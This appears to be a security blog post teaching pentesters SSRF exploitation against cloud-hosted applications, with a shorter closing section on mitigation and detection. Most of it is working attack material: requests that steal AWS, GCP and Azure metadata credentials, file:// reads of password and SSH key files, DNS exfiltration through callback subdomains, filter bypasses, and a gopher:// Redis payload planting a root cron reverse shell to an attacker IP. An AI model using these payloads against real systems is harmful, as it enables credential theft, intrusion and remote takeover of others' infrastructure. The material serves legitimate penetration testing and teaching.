SSRF Exploitation Techniques in 2026

ssrf exploitation techniques

TL;DR:

Server-Side Request Forgery remains one of the most impactful vulnerability classes in cloud-hosted applications. In 2026, SSRF is routinely used to steal cloud credentials via metadata endpoints, pivot to internal services, and chain into RCE. This post covers the full exploitation spectrum: cloud metadata abuse, blind SSRF via DNS callbacks, protocol smuggling with gopher://, filter bypass techniques, and how to detect and harden against all of it.


Prerequisites / Audience

This post is written for mid-to-senior pentesters and security engineers who are already familiar with HTTP-based vulnerabilities. You should know what SSRF is at a conceptual level. What follows is the practical exploitation detail – how to actually land these attacks against modern targets, including cloud-native environments.


What SSRF Still Gets You in 2026

SSRF flaws occur when an application fetches a remote resource using attacker-controlled input without adequate validation. The primitive looks simple, but the impact depends entirely on what the server can reach.

In a modern cloud environment, that answer is: a lot. Internal APIs, database interfaces, message queues, and – most critically – cloud provider metadata services. A single SSRF bug in the right application can hand you AWS keys with EC2 instance permissions, GCP service account tokens, or Azure managed identity credentials.


Cloud Metadata Endpoint Abuse

AWS IMDSv1 – Still Out There

IMDSv1 requires no session token and responds to any request to 169.254.169.254. If an application will fetch a URL you control, this is a one-request credential theft:

GET /?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: target.example.com

The response lists available IAM roles. Follow up for the credentials:

GET /?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME> HTTP/1.1

Response:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "<ACCESS_KEY_ID>",
  "SecretAccessKey": "<SECRET_ACCESS_KEY>",
  "Token": "<SESSION_TOKEN>",
  "Expiration": "<EXPIRY_TIMESTAMP>"
}

Those three values (AccessKeyId, SecretAccessKey, Token) give you a fully working AWS session scoped to whatever the instance role allows.

AWS IMDSv2 – Requires a Header, Still Bypassed via SSRF

IMDSv2 requires a PUT request to obtain a session token before accessing metadata. The intent is to block SSRF-based attacks because the PUT verb and the X-aws-ec2-metadata-token-ttl-seconds header are not trivially injectable through a naive SSRF. In practice, many SSRF primitives support custom headers and methods.

Step 1 – Get the token:

PUT /?url=http://169.254.169.254/latest/api/token HTTP/1.1
Host: target.example.com
X-Forward-Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

If the application proxies your headers to the outbound request, the metadata endpoint returns a token. Step 2 – use it:

GET /?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME> HTTP/1.1
X-Forward-Header: X-aws-ec2-metadata-token: <TOKEN>

Where header injection isn’t possible, hop through a redirect. An attacker-controlled server responds to the initial SSRF request with a 302 redirect to the metadata endpoint – some HTTP libraries follow the redirect and add the required header if the host remains the same, which 169.254.169.254 can be made to appear as via DNS rebinding.

GCP Metadata

GCP’s metadata service requires a Metadata-Flavor: Google header. Same vector – if you can inject headers through the SSRF, the constraint evaporates:

GET /?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token HTTP/1.1
X-Inject-Header: Metadata-Flavor: Google

Response includes an OAuth access token for the default service account.

Azure IMDS

Azure requires the Metadata: true header but otherwise accepts unauthenticated requests from within the instance:

GET /?url=http://169.254.169.254/metadata/instance?api-version=<API_VERSION> HTTP/1.1
X-Inject-Header: Metadata: true

For managed identity tokens:

http://169.254.169.254/metadata/identity/oauth2/token?api-version=<API_VERSION>&resource=https://management.azure.com/

Blind SSRF via DNS Callbacks

When the application fetches URLs but returns no content to you, use an out-of-band DNS/HTTP callback to confirm execution and exfiltrate data.

Tools: Burp Collaborator, interactsh

Stand up an interactsh listener:

interactsh-client -server oast.pro

Inject the generated subdomain as the SSRF target:

GET /?url=http://<YOUR_INTERACTSH_SUBDOMAIN>.oast.pro/test HTTP/1.1

A DNS lookup or HTTP callback to your server confirms the SSRF is live. For data exfiltration, encode values in the subdomain:

http://<BASE64_ENCODED_DATA>.<YOUR_INTERACTSH_SUBDOMAIN>.oast.pro/

This is particularly useful when chaining with metadata endpoints – exfiltrate partial credential data through DNS if HTTP responses are suppressed.


Protocol Smuggling

file://

If the SSRF target is a file path rather than a URL, file:// reads local files directly:

file:///etc/passwd
file:///proc/self/environ
file:///home/<USERNAME>/.ssh/id_rsa

Many URL parsers accept this scheme unless explicitly blocked.

dict://

dict:// can interact with DICT protocol services but is more often used to probe internal TCP ports. A response indicates an open port:

dict://127.0.0.1:6379/info

This will trigger a Redis INFO command if Redis is running on that port without auth.

gopher://

gopher:// is the most powerful SSRF protocol for pivoting. It lets you send raw bytes over TCP to any reachable service, turning your SSRF into an arbitrary TCP client.

Redis via gopher – write a cron job for shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

This sends a sequence of Redis commands: flush, write a cron payload, set the working directory to /var/spool/cron, set the dump filename to root, then save – writing the cron entry as root if Redis runs as root.

Generating gopher payloads: Gopherus automates payload generation for Redis, MySQL, FastCGI, and other common internal services.

python3 gopherus.py --exploit redis

Chaining SSRF

SSRF → Credential Theft → AWS Console Takeover

  1. Identify SSRF in a cloud-hosted application
  2. Fetch IAM credentials from metadata endpoint
  3. Configure AWS CLI with stolen creds:
   aws configure set aws_access_key_id <ACCESS_KEY_ID>
   aws configure set aws_secret_access_key <SECRET_ACCESS_KEY>
   aws configure set aws_session_token <SESSION_TOKEN>
  1. Enumerate permissions: aws iam get-user, aws sts get-caller-identity
  2. Escalate based on what the role allows

SSRF → Internal Service Access → RCE

  1. Use blind SSRF to port scan the internal network (vary the host/port, time responses)
  2. Identify accessible services (Redis, Memcached, Elasticsearch, internal HTTP APIs)
  3. Use gopher:// or direct HTTP to interact with those services
  4. Redis without auth → write webshell or cron via gopher
  5. Internal Jenkins/Kubernetes API without auth → command execution

SSRF → SSRF Escalation

If an internal service also contains an SSRF vulnerability, you can chain them. The first SSRF reaches an internal service that trusts requests from internal IPs. That internal service’s SSRF then reaches services blocked from the external-facing tier – database admin panels, cluster-internal APIs, or cloud-provider-specific endpoints only accessible from certain VPC subnets.


Filter Bypass Techniques

Application-layer SSRF filters are consistently weak. Common bypasses:

URL encoding: http://169.254.169.254/ → http://169%2e254%2e169%2e254/

IPv6: http://[::ffff:169.254.169.254]/

Decimal IP: 169.254.169.254 → 2852039166 → http://2852039166/

DNS rebinding: Register a domain that resolves to a public IP on first lookup (passing validation), then switches to 169.254.169.254 on subsequent lookups (hitting the metadata service after the check passes).

Redirects: Host an attacker-controlled server that returns a 302 to http://169.254.169.254/.... The application validates the original URL (your server), then follows the redirect.

IPv4-mapped IPv6: http://[0:0:0:0:0:ffff:169.254.169.254]/

URL fragmentation and parsing inconsistencies: http://attacker.com@169.254.169.254/ – some parsers treat the portion before @ as credentials and route to 169.254.169.254.


Detection and Mitigation

For Defenders

Enforce IMDSv2 on AWS: Require session tokens for all metadata requests by setting HttpTokens: required on instance metadata options. This is now the AWS default for new instances but must be explicitly enforced on older deployments.

aws ec2 modify-instance-metadata-options \
  --instance-id <INSTANCE_ID> \
  --http-tokens required \
  --http-endpoint enabled

Egress filtering: Restrict outbound connections from application servers to only the hosts and ports they need. Block 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 at the network layer unless specifically required.

DNS rebinding mitigations: Validate that the resolved IP of a URL doesn’t map to private ranges after DNS resolution, not before. Libraries like SafeCurl implement this for common stacks.

Allowlist outbound domains: If your application only needs to fetch from a known set of hosts, maintain an allowlist and reject everything else.

For detection: Alert on outbound connections to 169.254.169.254, metadata.google.internal, or unexpected internal subnets from application-tier hosts. Log and alert on unusual IAM credential usage (new regions, unfamiliar API calls, rapid succession of DescribeInstances + ListBuckets).

For Pentesters: SSRF Testing Checklist

  • Test all URL input fields, file import functions, webhook configurations, and PDF/image render endpoints
  • Try all metadata endpoint variants across AWS, GCP, and Azure
  • Probe blind SSRF with interactsh before concluding “no output = not exploitable”
  • Attempt protocol switching: http://, https://, file://, gopher://, dict://
  • Test filter bypasses when direct metadata access is blocked
  • Map internal services via port scanning before concluding on impact

Conclusion

SSRF is not a new vulnerability class, but its impact has grown with cloud adoption. Every EC2 instance, GKE pod, or Azure VM that hosts a vulnerable application is one SSRF away from credential exposure. Blind SSRF via DNS callbacks closes the “no response means no impact” assumption. Protocol smuggling turns a constrained SSRF into arbitrary internal service interaction. And filter bypasses mean that blocklists alone are not a reliable mitigation.

For pentesters: treat every URL parameter as a potential SSRF vector and validate impact against both metadata endpoints and internal network reach before reporting severity. For defenders: IMDSv2 enforcement and strict egress filtering are the two controls that most reliably reduce SSRF blast radius in cloud environments.